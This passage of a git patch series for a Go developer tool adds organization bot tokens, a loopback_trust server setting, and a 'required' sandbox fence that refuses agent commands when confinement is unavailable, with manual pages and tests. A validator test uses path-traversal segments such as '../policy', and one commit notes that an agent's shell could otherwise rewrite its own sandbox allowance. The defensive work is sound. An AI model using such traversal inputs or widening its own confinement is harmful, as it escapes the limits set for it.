+ +// FeatureOrgBots is the hello word for the organization bot methods. +const FeatureOrgBots = "org_bots" + +type OrgBotNewParams struct { + OrgConn + api.BotNew +} + +type OrgBotParams struct { + OrgConn + Bot string `json:"bot"` +} + +type OrgBotTokenNewParams struct { + OrgBotParams + api.BotTokenNew +} + +type OrgBotTokenRevokeParams struct { + OrgBotParams + Token string `json:"token"` +} + +const orgBotsPath = "/v1/bots" + +func (p OrgBotParams) path() (string, error) { + id, err := orgSegment("bot", p.Bot) + if err != nil { + return "", err + } + return orgBotsPath + "/" + url.PathEscape(id), nil +} + +func withFactoryOrgBotsFeature(hello Hello, e Engine) Hello { + if _, ok := e.(Factory); !ok { + return hello + } + if _, ok := e.(FactoryOrg); ok { + hello = withFeature(hello, FeatureOrgBots) + } + return hello +} + +func init() { + methods["factory.org_bots"] = orgMethod[OrgConn, json.RawMessage]("factory.org_bots", func(OrgConn) (OrgRequest, error) { + return OrgRequest{Method: http.MethodGet, Path: orgBotsPath}, nil + }) + methods["factory.org_bot_new"] = orgMethod[OrgBotNewParams, json.RawMessage]("factory.org_bot_new", func(p OrgBotNewParams) (OrgRequest, error) { + return OrgRequest{Method: http.MethodPost, Path: orgBotsPath, Body: p.BotNew}, nil + }) + methods["factory.org_bot_token_new"] = orgMethod[OrgBotTokenNewParams, json.RawMessage]("factory.org_bot_token_new", func(p OrgBotTokenNewParams) (OrgRequest, error) { + path, err := p.path() + return OrgRequest{Method: http.MethodPost, Path: path + "/tokens", Body: p.BotTokenNew}, err + }) + methods["factory.org_bot_token_revoke"] = orgMethod[OrgBotTokenRevokeParams, json.RawMessage]("factory.org_bot_token_revoke", func(p OrgBotTokenRevokeParams) (OrgRequest, error) { + path, err := p.path() + if err != nil { + return OrgRequest{}, err + } + token, err := orgSegment("token", p.Token) + if err != nil { + return OrgRequest{}, err + } + return OrgRequest{Method: http.MethodDelete, Path: path + "/tokens/" + url.PathEscape(token)}, nil + }) + methods["factory.org_bot_remove"] = orgMethod[OrgBotParams, json.RawMessage]("factory.org_bot_remove", func(p OrgBotParams) (OrgRequest, error) { + path, err := p.path() + return OrgRequest{Method: http.MethodDelete, Path: path}, err + }) +} diff --git a/internal/appwire/factory_org_bots_test.go b/internal/appwire/factory_org_bots_test.go new file mode 100644 index 0000000000..67a469717f --- /dev/null +++ b/internal/appwire/factory_org_bots_test.go @@ -0,0 +1,55 @@ +package appwire + +import ( + "encoding/json" + "slices" + "testing" +) + +func TestContractC10OrgBotWire(t *testing.T) { + const conn = `"connection":"c1"` + for _, tc := range []struct { + method, fields, verb, path, body string + }{ + {"factory.org_bots", "", "GET", "/v1/bots", "null"}, + {"factory.org_bot_new", `,"name":"Build helper","scope":"view"`, "POST", "/v1/bots", `{"name":"Build helper","scope":"view"}`}, + {"factory.org_bot_token_new", `,"bot":"bt_1","label":"rotation","expires_at":"2027-01-02T03:04:05Z"`, "POST", "/v1/bots/bt_1/tokens", + `{"label":"rotation","expires_at":"2027-01-02T03:04:05Z"}`}, + {"factory.org_bot_token_new", `,"bot":"bt_1"`, "POST", "/v1/bots/bt_1/tokens", "{}"}, + {"factory.org_bot_token_revoke", `,"bot":"bt_1","token":"btk_1"`, "DELETE", "/v1/bots/bt_1/tokens/btk_1", "null"}, + {"factory.org_bot_remove", `,"bot":"bt_1"`, "DELETE", "/v1/bots/bt_1", "null"}, + } { + t.Run(tc.method+" "+tc.fields, func(t *testing.T) { + e := &orgAccessEngine{} + if _, err := methods[tc.method].call(e, json.RawMessage(`{`+conn+tc.fields+`}`)); err != nil { + t.Fatal(err) + } + if len(e.got) != 1 { + t.Fatalf("got %d requests", len(e.got)) + } + got := e.got[0] + body, err := json.Marshal(got.Body) + if err != nil || got.Method != tc.verb || got.Path != tc.path || string(body) != tc.body { + t.Fatalf("request was %s %s %s, want %s %s %s", got.Method, got.Path, body, tc.verb, tc.path, tc.body) + } + }) + } + for _, tc := range []struct{ method, fields string }{ + {"factory.org_bot_remove", `,"bot":"../policy"`}, + {"factory.org_bot_token_new", `,"bot":"b?c"`}, + {"factory.org_bot_token_revoke", `,"bot":"bt_1","token":"t/1"`}, + {"factory.org_bot_token_revoke", `,"bot":"bt_1","token":""`}, + } { + e := &orgAccessEngine{} + _, err := methods[tc.method].call(e, json.RawMessage(`{`+conn+tc.fields+`}`)) + if wireCode(t, err) != CodeBadParams || len(e.got) != 0 { + t.Fatalf("%s accepted an invalid path segment: %v", tc.method, err) + } + } + if hello := withFactoryOrgBotsFeature(Hello{}, &orgAccessEngine{}); !slices.Contains(hello.Features, "org_bots") { + t.Fatalf("organization engine features = %v", hello.Features) + } + if hello := withFactoryOrgBotsFeature(Hello{}, &factoryEngine{}); slices.Contains(hello.Features, "org_bots") { + t.Fatalf("factory-only engine features = %v", hello.Features) + } +} diff --git a/internal/appwire/server.go b/internal/appwire/server.go index 3fb8f8586c..8d0006cb3e 100644 --- a/internal/appwire/server.go +++ b/internal/appwire/server.go @@ -314,6 +314,7 @@ func (s *Server) Serve(ctx context.Context, in io.Reader, hello Hello, engine En hello = withFactoryOrgFilesFeature(hello, engine) hello = withFactoryOrgMySpaceFeature(hello, engine) hello = withFactoryOrgAccessFeature(hello, engine) + hello = withFactoryOrgBotsFeature(hello, engine) hello = withFactoryOrgAgentsFeature(hello, engine) hello = withFactoryOrgLibraryFeature(hello, engine) hello = withFactoryPipelinePRFeature(hello, engine) From af71ebaa73594ebcabdea69ee4f0a39274ebddfc Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:35:25 -0500 Subject: [PATCH 021/176] manual: bots, the loopback setting, and nothing that says chats are listed to a workstream The chat manual now says what bots are and are not (a token shown once, never more than the person who made it, default-deny routes, no agent runs, ended with the creator), what loopback_trust does and why a forwarded request is never local, and adds probes in people's own words for both. Co-Authored-By: Claude Sonnet 5.5 --- internal/manual/chat/factory.md | 8 +++++++- internal/manual/chat/organization-sharing.md | 8 ++++++++ internal/manual/chat_test.go | 8 ++++++++ 3 files changed, 23 insertions(+), 1 deletion(-) diff --git a/internal/manual/chat/factory.md b/internal/manual/chat/factory.md index 03d6142b45..2e8a1ccf03 100644 --- a/internal/manual/chat/factory.md +++ b/internal/manual/chat/factory.md @@ -243,7 +243,13 @@ conflict queues a bounded maintenance pass. Only the worker executing that pass holds a slot; completing it releases capacity and resumes background monitoring. Budgets, ownership, publication consent and duplicate-repair protection still apply. -The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/name`), `github_client_id` (an OAuth app with device flow on), `team` (GitHub handles), `mode` (`solo` or `team`) and the HTTPS keys `tls`, `domain`, `cert_file`, `key_file`, `cache_dir`, `trusted_proxies` and `hsts_include_subdomains` (`true` adds `includeSubDomains` to HSTS; off by default; only for a domain you own whose every name is HTTPS). Unknown keys are refused. `domain: localhost` is taken only with `tls: files` and a certificate of your own (no certificate authority issues one for it); it is how passkeys are tried on one machine. Serving plain HTTP on a non-loopback address prints a warning, because access tokens and sign-in sessions would cross the network unencrypted. `--model slug` and `--one-model` pin the model its triage reads use. `--new-operator-link` prints a fresh one-time operator recovery link. Only one service runs per codeaf home (`serve.lock`); a second one says so. +The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/name`), `github_client_id` (an OAuth app with device flow on), `team` (GitHub handles), `mode` (`solo` or `team`), `loopback_trust` (`true` or `false`; see below) and the HTTPS keys `tls`, `domain`, `cert_file`, `key_file`, `cache_dir`, `trusted_proxies` and `hsts_include_subdomains` (`true` adds `includeSubDomains` to HSTS; off by default; only for a domain you own whose every name is HTTPS). Unknown keys are refused. `domain: localhost` is taken only with `tls: files` and a certificate of your own (no certificate authority issues one for it); it is how passkeys are tried on one machine. Serving plain HTTP on a non-loopback address prints a warning, because access tokens and sign-in sessions would cross the network unencrypted. `--model slug` and `--one-model` pin the model its triage reads use. `--new-operator-link` prints a fresh one-time operator recovery link. Only one service runs per codeaf home (`serve.lock`); a second one says so. + +## Does a request from the server's own computer need to sign in — loopback_trust, a team factory behind a reverse proxy on the same machine + +On a single-person factory (`mode: solo`, and a window's own service) a request from the same computer with no sign-in is taken to be its owner: that is how the terminal and the desktop reach their own factory. On a team factory it is not. An organization's server never treats a request as a person because of where it came from: every request carries an identity, a person's token or sign-in, or a bot's token. A request from 127.0.0.1 with none is refused with the same 401 as one from another computer, so a reverse proxy, a container's health probe or a script on the server's own machine cannot act as the machine's owner. + +The config key `loopback_trust` sets this. Unset, it is `true` in solo mode and `false` in team mode. A team factory that really is used by one person at one computer can set `loopback_trust: true` and gets the old behaviour back. It never makes a forwarded request local: a request that arrives through a proxy carrying `X-Forwarded-For`, `Forwarded` or `X-Real-Ip` is not treated as coming from this computer, whatever the key says, unless a proxy listed in `trusted_proxies` names a loopback caller in `X-Forwarded-For`. `/v1/about` and the sign-in routes stay open. ## GitHub rate limit on a team factory — "GitHub is rate-limited until", github_limited, operator access link after the reset diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index 7f148a5da0..ff5b25fe2f 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -27,6 +27,14 @@ Yes, private by default. A chat you start, in a workstream or in My space, is re This changed on 2026-11-24. Before it, every chat in a shared workstream was listed to the workstream's people by name, owner and state whatever its own privacy. An organization that wants that back sets the policy's default for chats to `owner` (the workstream's people) or `org` (every member); it applies to chats made after the change, and a chat that already exists keeps what it was made as. +## Bots — a token for a script or an integration, with the rights of the person who made it + +A person can make a **bot**: a named identity with its own token, for a script or an integration that should reach the organization's server without a person's sign-in. Making one (`factory.org_bot_new`, `POST /v1/bots` with a name and, optionally, a narrower scope) answers the token once. It starts `cbt_`, it is never shown again, and the server keeps only a hash of it, so a lost token is replaced, not recovered. A bot has up to three live tokens, so one can be swapped for another. A person lists, adds a token to, revokes a token of, and removes only their own bots; the operator lists every bot and can remove any, but cannot mint a token for someone else's. The desktop has no bots screen yet. + +A bot is never more than the person who made it. On every request it holds what its creator holds on that thing right now, narrowed by the organization policy's scope for agents (`agents.scopes` for `bot:`, else the default scope) and by the scope the person gave it when making it (a role name from the policy). When its creator loses a share, the bot loses it on its next request. When the operator removes its creator from the organization, the creator's bots stop at once, and stay stopped if that person is added again. Nothing is copied: no grant ever names a bot. + +What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases, shared resources, My space, and the policy and people lists. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. + ## Who sets the sharing rules — the operator's organization policy The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index afc511634c..c47ccd57c1 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3970,6 +3970,14 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"can I give someone access until a date, and what happens when it ends", "organization-sharing"}, {"can I share my Afi pane with someone in the organization", "organization-sharing"}, {"what is a grant on a workstream and who may add one", "organization-sharing"}, + {"are my chats private by default in a shared workstream", "organization-sharing"}, + {"can other people in the workstream see the title of my chat", "organization-sharing"}, + {"how do I make a bot token for a script that calls the organization server", "organization-sharing"}, + {"can a bot do more than the person who made it", "organization-sharing"}, + {"what happens to a bot when its creator is removed from the organization", "organization-sharing"}, + {"does a request from the server's own computer have to sign in on a team factory", "factory"}, + {"what does loopback_trust do", "factory"}, + {"is a request through a reverse proxy on the same machine treated as local", "factory"}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 31c61d567ae0c54da64a179a2c089a926e734054 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:27 -0500 Subject: [PATCH 022/176] executor: a command fence can be required, and then refuses instead of running open A fence that can apply nothing used to let the command run as it was. A Require fence returns ErrFenceRequired instead, in a sentence with none of the machine's words, so a hosted chat's commands are confined or not run, never run open. Without Require nothing changes, and the helper's spec is byte-identical. Co-Authored-By: Claude Sonnet 5.5 --- internal/executor/fence.go | 20 +++++ internal/executor/fence_darwin.go | 6 +- internal/executor/fence_linux.go | 15 +++- internal/executor/fence_other.go | 10 ++- internal/executor/fence_require_test.go | 111 ++++++++++++++++++++++++ 5 files changed, 158 insertions(+), 4 deletions(-) create mode 100644 internal/executor/fence_require_test.go diff --git a/internal/executor/fence.go b/internal/executor/fence.go index bec05aa2d4..df3e6676c0 100644 --- a/internal/executor/fence.go +++ b/internal/executor/fence.go @@ -3,6 +3,7 @@ package executor import ( "crypto/sha256" "encoding/hex" + "errors" "os" "path/filepath" "regexp" @@ -103,6 +104,14 @@ type Fence struct { // fence is built, because it lists the folders on the way to each hidden // path, and a command should not pay for that walk. ReadGrants []string + // Require makes the fence a promise and not a courtesy: where this + // computer can apply none of it, a command is REFUSED with + // [ErrFenceRequired] instead of running as the person's own process. Only + // a door that has something beneath the fence worth protecting sets it (the + // hosted engine, engine_hosted.go in cmd/codeaf); every other door keeps + // the old behaviour on purpose, and the field is left out of the helper's + // spec when it is false so a spec is byte-identical to what it always was. + Require bool `json:"Require,omitempty"` } // FenceAllowWords is how a widening is spelled, in a project file, the @@ -581,6 +590,17 @@ func goProxyThrough(home string) string { // stopped it. It says what happened and why, and where the widening lives. const FenceLine = "codeaf blocked this: a run with nobody at the keyboard may change files only in its checkout and its own temp and cache folders, and may not read keys and sign-ins or use docker; to allow more, add \"jail.allow\" to the repository's .codeaf/config.json." +// FenceRequiredLine is what a command is refused with when the fence is a +// requirement ([Fence.Require]) and this computer can apply none of it. It is +// written for the person reading a chat, so it names no mechanism: only what +// did not happen and why. +const FenceRequiredLine = "This computer cannot keep commands inside this chat's folder, so no command was run." + +// ErrFenceRequired is the error a required fence's command fails with when the +// fence cannot be applied. Its text is [FenceRequiredLine], so every door that +// prints an executor error to a person or a model says it in plain words. +var ErrFenceRequired = errors.New(FenceRequiredLine) + // FenceDegradedLine is said once when this system cannot apply the fence. const FenceDegradedLine = "This system cannot confine commands, so this run's commands have your full permissions." diff --git a/internal/executor/fence_darwin.go b/internal/executor/fence_darwin.go index 0dbbdfeb05..e15f481c36 100644 --- a/internal/executor/fence_darwin.go +++ b/internal/executor/fence_darwin.go @@ -6,12 +6,16 @@ import "os/exec" // confineFence wraps cmd in sandbox-exec with the fence's profile, passed // inline so nothing is written to disk. Where sandbox-exec cannot apply a -// profile the command runs as it is, which [FenceLimitLine] says once. +// profile the command runs as it is, which [FenceLimitLine] says once, unless +// the fence is required ([Fence.Require]), when it is refused instead. func confineFence(cmd *exec.Cmd, f *Fence) error { if cmd.Err != nil { return cmd.Err } if !seatbeltWorks() { + if f.Require { + return ErrFenceRequired + } return nil } cmd.Args = append([]string{sandboxExec, "-p", fenceProfile(f), cmd.Path}, cmd.Args[1:]...) diff --git a/internal/executor/fence_linux.go b/internal/executor/fence_linux.go index cd9d69ae1b..fde6b38556 100644 --- a/internal/executor/fence_linux.go +++ b/internal/executor/fence_linux.go @@ -51,8 +51,16 @@ const ( fenceNone fenceMode = "" ) +// fenceModeInTests stands in for a kernel that supports less (or more) of the +// fence than the one the tests run on. Only test support installs it; +// production always asks the kernel. +var fenceModeInTests func() fenceMode + // thisFenceMode is what this kernel supports. func thisFenceMode() fenceMode { + if fenceModeInTests != nil { + return fenceModeInTests() + } c := Probe() switch { case c.UserNS && c.Landlock: @@ -65,13 +73,18 @@ func thisFenceMode() fenceMode { // confineFence rewrites cmd to run under the helper. With neither user // namespaces nor Landlock the command runs as it is, which [FenceLimitLine] -// says once. +// says once, UNLESS THE FENCE IS REQUIRED: a required fence that cannot be +// applied refuses the command, because running it open is exactly the thing +// the requirement exists to prevent. func confineFence(cmd *exec.Cmd, f *Fence) error { if cmd.Err != nil { return cmd.Err } mode := thisFenceMode() if mode == fenceNone { + if f.Require { + return ErrFenceRequired + } return nil } spec, err := writeFenceSpec(f, mode) diff --git a/internal/executor/fence_other.go b/internal/executor/fence_other.go index eb29feecfc..54ff6f294c 100644 --- a/internal/executor/fence_other.go +++ b/internal/executor/fence_other.go @@ -5,7 +5,13 @@ package executor import "os/exec" // confineFence leaves the command as it is: this system has no jail, which -// [FenceLimitLine] says once. -func confineFence(*exec.Cmd, *Fence) error { return nil } +// [FenceLimitLine] says once. A required fence ([Fence.Require]) has nothing +// to be applied with here, so its command is refused instead. +func confineFence(_ *exec.Cmd, f *Fence) error { + if f.Require { + return ErrFenceRequired + } + return nil +} func fenceLimit() string { return FenceDegradedLine } diff --git a/internal/executor/fence_require_test.go b/internal/executor/fence_require_test.go new file mode 100644 index 0000000000..97199de5c0 --- /dev/null +++ b/internal/executor/fence_require_test.go @@ -0,0 +1,111 @@ +//go:build linux + +package executor + +import ( + "context" + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +// The contract these tests are written from, in the words of a person using a +// hosted chat and not of the code: +// +// C4 a fence that is REQUIRED never lets a command run open: where this +// computer can apply none of it, the command is refused with one plain +// sentence and nothing it would have done has happened. +// C8 a fence that is not required behaves exactly as it always did: where +// nothing can be applied the command still runs, and what is handed to +// the helper is unchanged. + +// noFenceAvailable pretends this kernel can apply none of the fence. +func noFenceAvailable(t *testing.T) { + t.Helper() + fenceModeInTests = func() fenceMode { return fenceNone } + t.Cleanup(func() { fenceModeInTests = nil }) +} + +// runMarkerCommand runs, through the fenced seat as a session's calls go, a +// command whose only effect is to create a marker file, and answers the +// result, whether the marker exists afterwards, and the error. +func runMarkerCommand(t *testing.T, w fenceWorld) (res ExecResult, ran bool, err error) { + t.Helper() + marker := filepath.Join(w.root, "ran-marker") + runner := FencedSeat(w.fence).In(w.root) + res, err = runner.Exec(context.Background(), ExecRequest{ + Argv: []string{"/bin/sh", "-c", `echo ran > "` + marker + `"`}, + Env: append(os.Environ(), "HOME="+w.home), + }, nil) + _, statErr := os.Stat(marker) + return res, statErr == nil, err +} + +func TestC4_RequiredFenceRefusesWhenNothingCanBeApplied(t *testing.T) { + noFenceAvailable(t) + w := newFenceWorld(t, FenceAllow{}) + w.fence.Require = true + + _, ran, err := runMarkerCommand(t, w) + if ran { + t.Fatal("the command ran although the fence was required and nothing could be applied") + } + if !errors.Is(err, ErrFenceRequired) { + t.Fatalf("the refusal was %v, want ErrFenceRequired", err) + } + const sentence = "This computer cannot keep commands inside this chat's folder, so no command was run." + if err.Error() != sentence { + t.Fatalf("the refusal reads %q, want %q", err.Error(), sentence) + } + for _, word := range []string{"uid", "sandbox", "sessionhost", "fence", "landlock", "daemon"} { + if strings.Contains(strings.ToLower(err.Error()), word) { + t.Fatalf("the refusal says %q, which a person reading a chat should never meet: %q", word, err.Error()) + } + } +} + +func TestC4_RequiredFenceStillRunsWhenItCanBeApplied(t *testing.T) { + if fenceLimit() == FenceDegradedLine { + t.Skip("this system cannot apply any of the fence, so a required one correctly refuses") + } + w := newFenceWorld(t, FenceAllow{}) + w.fence.Require = true + + res, ran, err := runMarkerCommand(t, w) + if err != nil || res.Exit != 0 || !ran { + t.Fatalf("a required fence that can be applied must let the job's own work run: err %v exit %d ran %v stderr %q", err, res.Exit, ran, res.Stderr) + } +} + +func TestC8_UnrequiredFenceStillRunsWhereNothingCanBeApplied(t *testing.T) { + noFenceAvailable(t) + w := newFenceWorld(t, FenceAllow{}) + + res, ran, err := runMarkerCommand(t, w) + if err != nil || res.Exit != 0 || !ran { + t.Fatalf("a fence that is not required must run the command as it always did: err %v exit %d ran %v", err, res.Exit, ran) + } +} + +func TestC8_FenceSpecIsUnchangedUnlessRequired(t *testing.T) { + w := newFenceWorld(t, FenceAllow{}) + plain, err := json.Marshal(fenceSpec{Fence: *w.fence, Mode: fenceLandlock}) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(plain), "Require") { + t.Fatalf("a fence that is not required changed what the helper is handed: %s", plain) + } + required := *w.fence + required.Require = true + body, err := json.Marshal(fenceSpec{Fence: required, Mode: fenceLandlock}) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(body), `"Require":true`) { + t.Fatalf("a required fence did not travel to the helper: %s", body) + } +} From 85d87dee2b64189cc39908c1c17c3b9c979fc9af Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:27 -0500 Subject: [PATCH 023/176] tests: fixtures that act as the host's person on a team handler say so Five tests drove a team-mode factory with no credential from the same computer and relied on the old rule that such a request is the owner. They now say it with an explicit loopback trust (a plan-revision handler, a team publish and a worker fixture, the worker reply fixture), or, where the point is how a local client reaches its factory, send the token from the discovery file as every client does (the factory command test). Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/factory_command_test.go | 17 ++++++++++++++--- cmd/codeaf/factory_publish_test.go | 2 +- cmd/codeaf/factory_worker_test.go | 2 +- internal/factory/serve/plan_revision_test.go | 2 +- internal/factory/worker/reply_test.go | 5 ++++- 5 files changed, 21 insertions(+), 7 deletions(-) diff --git a/cmd/codeaf/factory_command_test.go b/cmd/codeaf/factory_command_test.go index ba877cdd33..e3aeaed8a6 100644 --- a/cmd/codeaf/factory_command_test.go +++ b/cmd/codeaf/factory_command_test.go @@ -72,7 +72,18 @@ func TestFactoryCommandServesQueueAndOwnsDiscovery(t *testing.T) { t.Fatalf("discovery must be private: %v, %v", info, err) } client := &http.Client{Timeout: 5 * time.Second} - response, err := client.Get(address + "/v1/queue") + // A team factory (an access_token makes it one) no longer takes a request + // from its own computer on trust; a local client sends the token it finds in + // the discovery file, as every codeaf client does. + get := func(path string) (*http.Response, error) { + request, err := http.NewRequest(http.MethodGet, address+path, nil) + if err != nil { + return nil, err + } + request.Header.Set("Authorization", "Bearer "+discovery.Token) + return client.Do(request) + } + response, err := get("/v1/queue") if err != nil { t.Fatal(err) } @@ -81,7 +92,7 @@ func TestFactoryCommandServesQueueAndOwnsDiscovery(t *testing.T) { if err != nil || response.StatusCode != http.StatusOK || !bytes.Contains(body, []byte("command fixture")) { t.Fatalf("queue: status=%d body=%s error=%v", response.StatusCode, body, err) } - response, err = client.Get(address + "/v1/audit") + response, err = get("/v1/audit") if err != nil { t.Fatal(err) } @@ -108,7 +119,7 @@ func TestFactoryCommandServesQueueAndOwnsDiscovery(t *testing.T) { if after := readFactoryTestFile(t, discoveryPath); !bytes.Equal(after, originalDiscovery) { t.Fatal("second service replaced discovery") } - response, err = client.Get(address + "/v1/events") + response, err = get("/v1/events") if err != nil { t.Fatal(err) } diff --git a/cmd/codeaf/factory_publish_test.go b/cmd/codeaf/factory_publish_test.go index 749fd44642..64391d57f6 100644 --- a/cmd/codeaf/factory_publish_test.go +++ b/cmd/codeaf/factory_publish_test.go @@ -126,7 +126,7 @@ func TestFactoryAssigneesRunnerPublishesTeamAndSolo(t *testing.T) { } seam := factory.LocalSeam(g.st, time.Now(), factory.WithRunner(lease.NewDoors(desk))) seam.GitHub = func(context.Context) (factory.GitHubLink, error) { return factory.GitHubLink{Login: "assignee"}, nil } - h := serve.New(seam, serve.Config{Mode: mode, OperatorLogin: "server-owner", Store: g.st, Record: history, PullWait: time.Millisecond, Now: func() time.Time { return time.Unix(0, clock.Load()) }}) + h := serve.New(seam, serve.Config{Mode: mode, LoopbackTrust: boolPtr(true), OperatorLogin: "server-owner", Store: g.st, Record: history, PullWait: time.Millisecond, Now: func() time.Time { return time.Unix(0, clock.Load()) }}) server := httptest.NewServer(h) t.Cleanup(func() { server.Close(); h.Close() }) approve := func() *httptest.ResponseRecorder { diff --git a/cmd/codeaf/factory_worker_test.go b/cmd/codeaf/factory_worker_test.go index a1cd0397e3..db64dd00cd 100644 --- a/cmd/codeaf/factory_worker_test.go +++ b/cmd/codeaf/factory_worker_test.go @@ -298,7 +298,7 @@ func TestFactoryWorkerLeasesTheJobItsForgePersonTook(t *testing.T) { } var clock atomic.Int64 clock.Store(time.Now().UnixNano()) - h := serve.New(person, serve.Config{Mode: api.FactoryTeam, Store: st, Record: rec, PullWait: time.Millisecond, Now: func() time.Time { return time.Unix(0, clock.Load()) }}) + h := serve.New(person, serve.Config{Mode: api.FactoryTeam, LoopbackTrust: boolPtr(true), Store: st, Record: rec, PullWait: time.Millisecond, Now: func() time.Time { return time.Unix(0, clock.Load()) }}) t.Cleanup(h.Close) server := httptest.NewServer(h) defer server.Close() diff --git a/internal/factory/serve/plan_revision_test.go b/internal/factory/serve/plan_revision_test.go index 81eb6aaf0a..82f331a1e1 100644 --- a/internal/factory/serve/plan_revision_test.go +++ b/internal/factory/serve/plan_revision_test.go @@ -135,7 +135,7 @@ func TestRejectPlanInSoloAndWithoutAStore(t *testing.T) { } checkJSON(t, verbRequest(solo, "POST", fmt.Sprintf("/v1/jobs/%d/reject_plan", plan.ID), rejectBody(j.Version, "redo")), 200) - bare := serve.New(f.seam, serve.Config{Mode: api.FactoryTeam, Address: config.Address, Version: config.Version, Now: f.cfg.Now}) + bare := serve.New(f.seam, serve.Config{Mode: api.FactoryTeam, LoopbackTrust: boolPtr(true), Address: config.Address, Version: config.Version, Now: f.cfg.Now}) t.Cleanup(func() { bare.Close() }) other := f.create(t, revisablePlan("sam", false)) checkJSON(t, verbRequest(bare, "POST", fmt.Sprintf("/v1/jobs/%d/reject_plan", other.ID), rejectBody(1, "redo")), 501) diff --git a/internal/factory/worker/reply_test.go b/internal/factory/worker/reply_test.go index a00fe84a48..4ff1665e6b 100644 --- a/internal/factory/worker/reply_test.go +++ b/internal/factory/worker/reply_test.go @@ -26,7 +26,10 @@ func TestTwoWorkersDeliverRepliesAndReportTheirManagerLines(t *testing.T) { t.Fatal(err) } seam := factory.LocalSeam(st, time.Now()) - h := serve.New(seam, serve.Config{Mode: api.FactoryTeam, Store: st, PullWait: time.Millisecond}) + // The test says a person's words to the factory with no sign-in, as the host's + // own person on this computer; a team factory's default no longer allows that. + trustLoopback := true + h := serve.New(seam, serve.Config{Mode: api.FactoryTeam, LoopbackTrust: &trustLoopback, Store: st, PullWait: time.Millisecond}) s := httptest.NewServer(h) t.Cleanup(func() { s.Close(); h.Close() }) ctx, cancel := context.WithCancel(context.Background()) From eb9de6697a2acb515ed5a400a1f5af134d079425 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:28 -0500 Subject: [PATCH 024/176] engine: CODEAF_FENCE_REQUIRE fences every hello, and CODEAF_ENGINE_IDLE shortens the idle windows Both are read only by the engine door and only when set, so an engine started without them is what it was. A hosted engine builds its own fence, which ignores jail.allow: off, because a chat's own shell can write that file. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/engine.go | 23 ++++- cmd/codeaf/engine_hosted.go | 117 ++++++++++++++++++++++ cmd/codeaf/engine_hosted_test.go | 92 +++++++++++++++++ internal/enginehost/host.go | 40 +++++++- internal/enginehost/idle_override_test.go | 82 +++++++++++++++ 5 files changed, 349 insertions(+), 5 deletions(-) create mode 100644 cmd/codeaf/engine_hosted.go create mode 100644 cmd/codeaf/engine_hosted_test.go create mode 100644 internal/enginehost/idle_override_test.go diff --git a/cmd/codeaf/engine.go b/cmd/codeaf/engine.go index d4ee09e784..cdea5cdf69 100644 --- a/cmd/codeaf/engine.go +++ b/cmd/codeaf/engine.go @@ -58,6 +58,7 @@ import ( "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" factorystore "github.com/Agent-Field/codeaf/internal/factory/store" "github.com/Agent-Field/codeaf/internal/home" "github.com/Agent-Field/codeaf/internal/remote" @@ -932,6 +933,12 @@ func placesWord(n int) string { // the machine is in exactly the state that was asked for — and this process was // started by another one that is about to dial the socket either way. func runEngineHost(workspaceFlag, sessionFlag string) error { + // THE SUPERVISOR'S IDLE WINDOW, applied once before this process holds + // anything, and only here: the host is the one process the idle policy + // belongs to, so no other command reads the variable. + if idle, ok := hostedEngineIdle(); ok { + enginehost.ApplyIdleOverride(idle) + } stopStorage := syncsetup.StartStorageRefresh(context.Background(), home.Dir()) defer stopStorage() // THE HOST OUTLIVES THE WINDOWS THAT STARTED ITS CHATS, so it is the process @@ -1105,8 +1112,20 @@ func assembleEngine(hello remote.Hello, workspace, sessionFlag, launchDir string // A HEADLESS HELLO IS --once THROUGH A HOST, and is fenced as --once is // (fence.go). A later hello that is not headless cannot join it: the // server refuses a mismatch (internal/remote's server.go). - if hello.Headless { - fence, err := unattendedFence(launch.Workspace, launch.Settings.ProfileDir) + // + // AND A HOSTED ENGINE FENCES EVERY HELLO, headless or not, and makes the + // fence a requirement ([hostedFence]): its supervisor says so in the + // environment, and a person at the far keyboard still answers consent cards + // (the AskConsent line above is untouched). With the variable unset this is + // the block it always was. + if fenced, required := engineFencePlan(hello.Headless, hostedFenceRequired()); fenced { + var fence *executor.Fence + var err error + if required { + fence, err = hostedFence(launch.Workspace, launch.Settings.ProfileDir) + } else { + fence, err = unattendedFence(launch.Workspace, launch.Settings.ProfileDir) + } if err != nil { return nil, err } diff --git a/cmd/codeaf/engine_hosted.go b/cmd/codeaf/engine_hosted.go new file mode 100644 index 0000000000..a42640353b --- /dev/null +++ b/cmd/codeaf/engine_hosted.go @@ -0,0 +1,117 @@ +package main + +import ( + "fmt" + "os" + "runtime" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/enginehost" + 